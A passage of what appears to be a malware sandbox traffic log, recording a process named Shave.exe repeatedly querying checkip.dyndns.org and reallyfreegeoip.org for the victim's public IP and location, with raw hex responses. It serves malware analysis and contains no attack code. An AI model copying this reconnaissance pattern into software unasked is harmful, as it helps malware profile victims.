Nov 25, 2024 07:09:04.541706085 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:04 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 9f848a819bda500147e095beb9d08cbf Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49816	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:06.439815998 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:10.335251093 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2393ed1b596bf3a3ee0b165169551f7d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49830	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:12.230806112 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:16.540504932 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:16 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 56e3b21b44a663a4786ebe0992812929 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49846	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:18.494518042 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:19.742892981 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 5dad7603f02d73d401758bbf75c5bfe2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49857	193.122.130.0	80	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 07:09:21.580137014 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 07:09:23.377048969 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7cc40aa2ef76d8f87c1b2e6404545503 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49771	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:08:50 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:08:51 UTC	849	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:51 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478840 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LOyT5Izf5qc7hOPOwGMyiMTXC6kqU8a6MBKotay2ejOhAe0SF78qg1poP7tZ8MeiXqiVhGc2u1S37DHlAEBucKZavY6QYcqBPDggUMRH8SGycP8RCMXSJmR0%2BQ7sOH2H1%2FQDokdg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f776f7e9fc42c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1484&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1883870&cwnd=225&unsent_bytes=0&cid=e7c68c7e87bec979&ts=468&x=0"
2024-11-25 06:08:51 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49777	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:08:52 UTC	60	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org
2024-11-25 06:08:53 UTC	847	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:53 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478842 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XyQxB22ADICPV%2Fx7cocJgaKHZnoUPo1gCvzpWMrgJIK5rDa2XR8LyL8cFhM8Ay7CgkfExwv37Ek4pZQHUKMTse8ClFCB6jaLEkIFiljGCFatLYqeR34G4edhblBpejX7gz7O0wH0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f777ca9cb7d20-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2045&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1398467&cwnd=207&unsent_bytes=0&cid=5807caac191cbe08&ts=468&x=0"
2024-11-25 06:08:53 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49790	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:08:58 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:08:58 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:08:58 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478847 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rkERkAkMcrcTSSwehk4H%2FzCWeFBZThZhp4HPtfJDkNYbGbhieBcNhUdop5xHk%2BO%2BTHeEHiyadB0s1uY0cMH3gT%2FoRXXoBNpDpbVyEi4dpQi4Jhm8LdsQA%2BUlhIiCqB5KVBbdE6na"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f779edf8341f9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=698&delivery_rate=1622222&cwnd=212&unsent_bytes=0&cid=f9a37254760f0f28&ts=467&x=0"
2024-11-25 06:08:58 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49801	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:02 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:02 UTC	855	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:02 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478851 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mPIFAOK5nnj5RvPYTIL%2FY8CmKmpFQpmbbZar1TnKY4M%2FTuvTusVwAXo2W6w1mTHjdQ8cR2hvzdOq4cFPNvDgK3Ii5gXN7B75NW5VwC5K%2BbTXO%2BsWm4WA04ghNaHhINVCeK%2FCQQwM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f77b65da97c88-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1925&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1442687&cwnd=211&unsent_bytes=0&cid=d29d63107e5d3d01&ts=459&x=0"
2024-11-25 06:09:02 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49811	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:05 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:06 UTC	852	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:06 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478855 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Al3QPK%2Fo1Z%2FqoKu2ncc5AhazAefQJKgQKLNmhogqbAXlqpOVKHLA6jzkvvrVDPiJEV%2BXz5sqboG85cHs4qtBZlQ1QJEW4U%2FmM7JaDmU8RLkKbw6lVC4bj6vuSl0c1RZmGuswwkwB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f77cd583b428f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1753&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1615938&cwnd=83&unsent_bytes=0&cid=287c3e6ad07ee9ed&ts=472&x=0"
2024-11-25 06:09:06 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49827	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:11 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:11 UTC	853	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:11 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478860 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D8H%2B8UjT6LKZzddtRqVSWTRYdfImqNi6q%2Fmf6PM%2BvG9RL95JKRWULKCysgjn9t97LYvWyAV4ECfdqm2lOtVx1Evgk8wbqLjDuWW44LFDbUiUDKNmsdTJlbokUpENxigwzc%2B8N7cp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f77f0ee0b4249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1608&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1775075&cwnd=225&unsent_bytes=0&cid=3710e4057bbcf84d&ts=452&x=0"
2024-11-25 06:09:11 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49840	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:17 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:18 UTC	859	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:18 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478867 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jF1uKD48jRIZPcVBjv493c3DsVFWWXNSHTxtk6PsWZ7IKuQ9dbk6CGGsVooMBjf%2BtY69uqSfP0lbtUmfnxIHMtjgla6zq%2F9T%2BM%2FRauQiVhHwN4b3EgKqK%2FEw4%2FFfUTDLndh9J%2B4B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f7817ffa08ce2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1968&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1446260&cwnd=202&unsent_bytes=0&cid=7aeb465f34d7eb23&ts=459&x=0"
2024-11-25 06:09:18 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49851	172.67.177.134	443	7044	C:\Users\user\Desktop\Shave.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:09:20 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 06:09:21 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:09:21 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 478870 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RWxIM4yHbFo4EOm4Y3bq6Z1Y%2FHBbADyM84JixRrC3oC1%2FLYl1oxC0saJMzo%2B7rjXiZ0rIecwJzdzluX1q%2FtPLQw0IsM%2BXm3xMiyiOHjeA7EyttJ%2BAyALWI84oqfjl93hNlt0zpJO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7f782c0f3242db-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1777&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=698&delivery_rate=1701631&cwnd=231&unsent_bytes=0&cid=f826643765e39577&ts=459&x=0"
2024-11-25 06:09:21 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 